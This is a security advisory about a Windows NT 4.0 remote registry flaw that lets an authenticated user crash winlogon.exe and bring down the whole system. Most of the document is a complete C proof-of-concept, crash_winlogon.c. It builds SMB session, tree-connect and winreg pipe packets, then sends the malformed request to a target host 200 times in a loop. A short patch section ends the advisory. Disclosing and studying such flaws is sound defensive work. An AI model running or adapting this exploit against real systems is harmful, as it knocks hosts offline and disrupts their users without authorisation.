COMMAND

    kernel

SYSTEMS AFFECTED

    Win NT 4 (all versions)

PROBLEM

    Following  is  based  on  a  Security Bulletin from the Microsoft.
    Before a request to access the registry from a remote machine  can
    be  processed,  it  must  first  be  authenticated  by  the Remote
    Registry  server.   If  the  request  is  malformed  in a specific
    fashion, it could be misinterpreted by the remote registry server,
    causing  it  to  fail.   Because  the  Remote  Registry  server is
    contained within  the winlogon.exe  system process  on Windows  NT
    4.0, a failure  in that process  would cause the  entire system to
    fail.

    Only  an  authenticated  user  could  levy  such  a  request -- an
    anonymous  (or  null-session)  connection  could  not  cause  this
    failure.  An  affected machine could  be put back  into service by
    rebooting.

    Renaud Deraison found this originally.  Here is a proof of concept
    code which  will hopefully  reproduce the  problem.   Nessus users
    have had this available as a .nasl script so Renaud translated the
    code to ugly  C for the  others.  A  quick sum up  is that at some
    place in the winlogon.exe code, there was some instruction like:

        value = ptr[length];

    where 'ptr' is  a ptr to  the received packet,  and 'length' is  a
    variable  which  is  somewhere  in  the  packet. By malforming the
    proper request, it is possible to make the code execute

        value = ptr[0xFFFF];

    Which *may* cause an application error in winlogon.exe.  This will
    pop up a  Dr. Watson error  dialog, and will  crash NT as  soon as
    the dialog is validated.  There are some "random" conditions  that
    are necessary to make this code work.  This means: 100% success is
    not garanteed.  So don't bug if that does not work for you.

    /*
     * crash_winlogon.c
     *
     * by Renaud Deraison - deraison@cvs.nessus.org
     *
     * This code is released under the GNU General Public License.
     * (thanks for respecting this license)
     *
     * In case you are wondering, here is the motto I applied for this code :
     *
     * 		"Structures are for sissies"
     */
    #include <stdio.h>
    #include <stdlib.h>
    #ifdef WIN32
    #include <windows.h>
    #define bzero(x,y) memset(x, 0, y)
    #else
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <ctype.h>
    #define closesocket(x) close(x)
    #endif
    
    
    char * netbios_name(char * orig)
    {
     int i, len;
     char * ret = malloc(40);
    
     bzero(ret, 40);
     len = strlen(orig);
     for(i=0;i<16;i++)
     {
      if(i >= len)
       strcat(ret, "CA");
      else
       {
        int odiv, omod;
    
        odiv = (orig[i] / 16) + 'A';
        omod = (orig[i] % 16) + 'A';
        ret[strlen(ret)]=odiv;
        ret[strlen(ret)]=omod;
       }
     }
     return(ret);
    }
    
    char * netbios_redirector()
    {
     int i;
     char * ret = malloc(31);
     bzero(ret, 31);
     for(i=0;i<15;i++)strcat(ret, "CA");
     strcat(ret, "AA");
     return(ret);
    }
    
    
    char* unicode(char * data)
    {
     int len = strlen(data);
     int i;
     char * ret = malloc(110);
     int l = 0;
    
     bzero(ret,110);
     for(i=0;i<len;i++)
     {
      ret[i*2] = data[i];
     }
    
     if(len & 1){
 	    ret[len*2+7] = 0x19;
	    ret[len*2+9] = 0x02;
	    }
     else
   	    {
	     ret[len*2+8] = 0x19;
	     ret[len*2+10] = 0x02;
	    }
    
     return(ret);
    }
    
    
    char *
    smb_session_request(soc, remote)
     int soc;
     char* remote;
    {
     char * nb_remote = netbios_name(remote);
     char * nb_local  = netbios_redirector();
     char * request = malloc(400);
     u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
     u_char req_body[] = {0x00, 0x20};
     u_char * answer = malloc(400);
     int n;
    
     bzero(request, 400);
     memcpy(request, req_head, 5);
     memcpy(request+5, nb_remote, strlen(nb_remote));
     memcpy(request+5+strlen(nb_remote), req_body, 2);
     memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));
    
     send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
     bzero(answer, 400);
     n = recv(soc, answer, 400, 0);
     if(answer[0]==0x82)return(answer);
     else return(NULL);
    }
    
    char *
    smb_neg_prot(soc)
     int soc;
    {
     char * r;
     u_char neg_prot[] = {0x00,0x00,
	     0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
	     0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	     0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	     0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
	     0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	     0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
	     0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
	     0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
	     0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
	     0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
	     0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
	     0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	     0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
	     0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
	     0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
	     0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
	     0x62, 0x61, 0x00
	     };
    
     send(soc, neg_prot, sizeof(neg_prot), 0);
     r = malloc(4000);
     bzero(r, 4000);
     recv(soc, r, 4000, 0);
     if(!r[9])return(r);
     else return(NULL);
    }
    
    char * smb_session_setup(soc, login, password)
     int soc;
     char * login, * password;
    {
     int len = strlen(login) + strlen(password) + 57;
     int bcc = 2 + strlen(login) + strlen(password);
     int len_hi = len / 256, len_low = len % 256;
     int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
     int pass_len = strlen(password) + 1;
     int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;
    
     u_char req[] = {0x00,0x00,
    	      len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
	      0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	      0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	      0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
	      0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	      0x00, pass_len_lo,  pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
	      bcc_hi};
    
      char * r;
      char * s;
    
      s = malloc(5000);
      bzero(s, 5000);
    
      memcpy(s, req, sizeof(req));
      memcpy(s+sizeof(req), password, strlen(password)+1);
      memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);
    
    
      send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
      free(s);
      r = malloc(4000);
      bzero(r, 4000);
      recv(soc, r, 4000, 0);
      if(!r[9])return(r);
      else return(NULL);
    }
    
    char * smb_tconx(soc, name, uid)
     int soc;
     char * name;
     int uid;
    {
     int high = uid / 256;
     int low = uid % 256;
     int len = 55 + strlen(name) + 1;
     int ulen = 13 + strlen(name);
     u_char req [] = {0x00, 0x00,
 		      0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
		      0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
		      0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
    
     u_char req2[] = {0x5C, 0x49,
		       0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};
    
    
     char * s = malloc(4000);
    
     bzero(s, 4000);
     memcpy(s, req, sizeof(req));
     memcpy(s+sizeof(req), name, strlen(name));
     memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
     send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
     bzero(s, 4000);
     recv(soc, s, 4000, 0);
     if(!s[9])return(s);
     else return(NULL);
    }
    
    
    
    char * smbntcreatex(soc, uid, tid)
     int soc, uid, tid;
    {
     u_char tid_high = tid / 256, tid_low = tid % 256;
     u_char uid_high = uid / 256, uid_low = uid % 256;
     char* r;
     u_char req[] = {0x00, 0x00,
  		       0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
		       0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
		       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		       0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		       0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
		       0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
		       0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
		       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		       0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
		       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
		       0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
		       0x6e, 0x72, 0x65, 0x67, 0x00};
    
     send(soc, req, sizeof(req), 0);
     r = malloc(4000);
     bzero(r, 4000);
     recv(soc, r, 4000, 0);
     if(!r[9])return(r);
     else return(NULL);
    }
    
    
    char * pipe_accessible_registry(soc, uid, tid, pid)
     int soc, uid, tid, pid;
    {
     u_char tid_low = tid % 256, tid_high = tid / 256;
     u_char uid_low = uid % 256, uid_high = uid / 256;
     u_char pipe_low = pid % 256, pipe_high = pid / 256;
     u_char req[] = {
 	    0x00, 0x00,
 		      0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		      0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		      0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
		      0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
		      0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
		      0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
		      0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
		      0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
		      0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
		      0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
		      0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
		      0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
		      0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
		      0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
      u_char * r;
    
      send(soc, req, sizeof(req), 0);
      r = malloc(4000);
      bzero(r, 4000);
      recv(soc, r, 4000, 0);
      if(!r[9])return(r);
      else return(NULL);
    }
    
    char * registry_access_step1(soc, uid, tid, pid)
     int soc, uid, tid, pid;
    {
     u_char tid_low = tid % 256, tid_high = tid / 256;
     u_char uid_low = uid % 256, uid_high = uid / 256;
     u_char pipe_low = pid % 256, pipe_high = pid / 256;
    
     u_char * r;
     u_char req[] = {0x00, 0x00,
 		      0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		      0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		      0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
		      0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
		      0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
		      0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
		      0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
		      0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
		      0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
		      0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
		      0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
		      0x00, 0x02};
    
    
     send(soc, req, sizeof(req), 0);
     r = malloc(4000);
     bzero(r, 4000);
     recv(soc, r, 4000, 0);
     if(!r[9])return(r);
     else return(NULL);
    }
    
    
    void crash_winlogon(soc, uid, tid, pid, key, reply)
     int soc, uid, tid, pid;
     char * key, * reply;
    {
     int key_len = strlen(key) + 1;
     int key_len_hi = key_len / 256;
     int key_len_lo = key_len % 256;
    
     int tid_low = tid % 256;
     int tid_high = tid / 256;
    
     int uid_low = uid % 256;
     int uid_high = uid / 256;
    
     int pipe_low = pid % 256;
     int pipe_high = pid / 256;
    
     char * uc = unicode(key);
     int len_uc = 100;
    
    
     int len = 148 + len_uc;
     int len_hi = len / 256;
     int len_lo = len % 256;
    
     int z = 40 +len_uc;
     int z_lo = z % 256;
     int z_hi = z / 256;
    
     int y = 81 + len_uc;
     int y_lo = y % 256;
     int y_hi = y / 256;
    
     int x = 64 + len_uc;
     int x_lo = x % 256;
     int x_hi = x / 256;
    
     int n;
     u_char req[] = {
 		      0x00, 0x00,
 		      len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		      0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		      0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
		      0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
		      0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
		      0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
		      0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
		      0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
		      0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
		      0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
		      0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};
    
    int x2 = 65535; /* XXXXXX */
    int x2_lo = 0xFF, x2_hi = 0xFF;
    
    u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
 		    0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
		    0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};
    
    char * crashme = malloc(4000);
    char a[] = {0xFF, 0xFF};
    bzero(crashme, 4000);
    memcpy(crashme, req, sizeof(req));
    memcpy(crashme+sizeof(req), &(reply[84]), 20);
    memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
    memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
    if((n = send(soc, crashme, len+4, 0))<0)
     {
     perror("send ");
     }
    }
    
    
    int smbntcreatex_extract_pipe(reply)
     char * reply;
    {
     return(reply[43]*256+reply[42]);
    }
    
    
    int tconx_extract_tid(reply)
     char * reply;
    {
     return(reply[29]*256+reply[28]);
    }
    
    
    
    
    int session_extract_uid(reply)
     char * reply;
    {
     int low, high;
    
     low = reply[32];
     high = reply[33];
     return((high*256)+low);
    }
    
    
    
    #define error() _error(__LINE__)
    
    void _error(int line)
    {
     printf("Error at line %d\n", line);
     exit(1);
    }
    
    int main(argc, argv)
      int argc;
      char * argv[];
    {
     char * r;
     int soc;
     struct sockaddr_in sin;
     int uid, tid, pid;
     char * name;
     char * ip;
     char * login, * password;
     int i;
    #ifdef WIN32
     WSADATA winSockData;
     WSAStartup(0x0101, &winSockData);
    #endif
    
    
     if(argc < 3)
     {
        printf("Usage : winlogon host_ip netbios_name login [password]\n");
        exit(1);
     }
    
     name = strdup(argv[2]);
     for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
     ip = strdup(argv[1]);
     login = strdup(argv[3]);
     if(argv[4])password = strdup(argv[4]);
     else password = "";
     printf("ip : %s\n", ip);
     printf("name : %s\n", name);
     printf("login : %s\n", login);
     printf("password : %s\n", password);
    
     for(i=0;i<200;i++)
     {
     soc = socket(AF_INET, SOCK_STREAM, 0);
     if(soc < 0)error();
     bzero(&sin, sizeof(sin));
     sin.sin_port = htons(139);
     sin.sin_addr.s_addr = inet_addr(ip);
     sin.sin_family = AF_INET;
     connect(soc, (const struct sockaddr*)&sin, sizeof(sin));
    
     r = smb_session_request(soc, name);
     if(!r)error();free(r);
    
     r = smb_neg_prot(soc);
     if(!r)error();free(r);
    
    
     r = smb_session_setup(soc, login, password);
     if(!r)error();
     uid = session_extract_uid(r);free(r);
    
     r = smb_tconx(soc, name, uid);
     if(!r)error();
     tid = tconx_extract_tid(r);free(r);
    
     r = smbntcreatex(soc, uid, tid);
     if(!r)error();
     pid = smbntcreatex_extract_pipe(r);free(r);
    
     r = pipe_accessible_registry(soc, uid, tid, pid);
     if(!r)error();free(r);
    
     r =  registry_access_step1(soc, uid, tid, pid);if(!r)error();
    
     crash_winlogon(soc, uid, tid, pid, "x", r);
     shutdown(soc, 2);
     closesocket(soc);
     }
    #ifdef WIN32
     WSACleanup();
    #endif
     return 0;
    }

SOLUTION

    Windows  2000  is  not  affected  by  this  vulnerability.   Patch
    availability:

        - Microsoft Windows NT 4.0 Workstation, Server, and Server, Enterprise Edition: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=21772
        - Microsoft Windows NT 4.0 Server, Terminal Server Edition: To be released shortly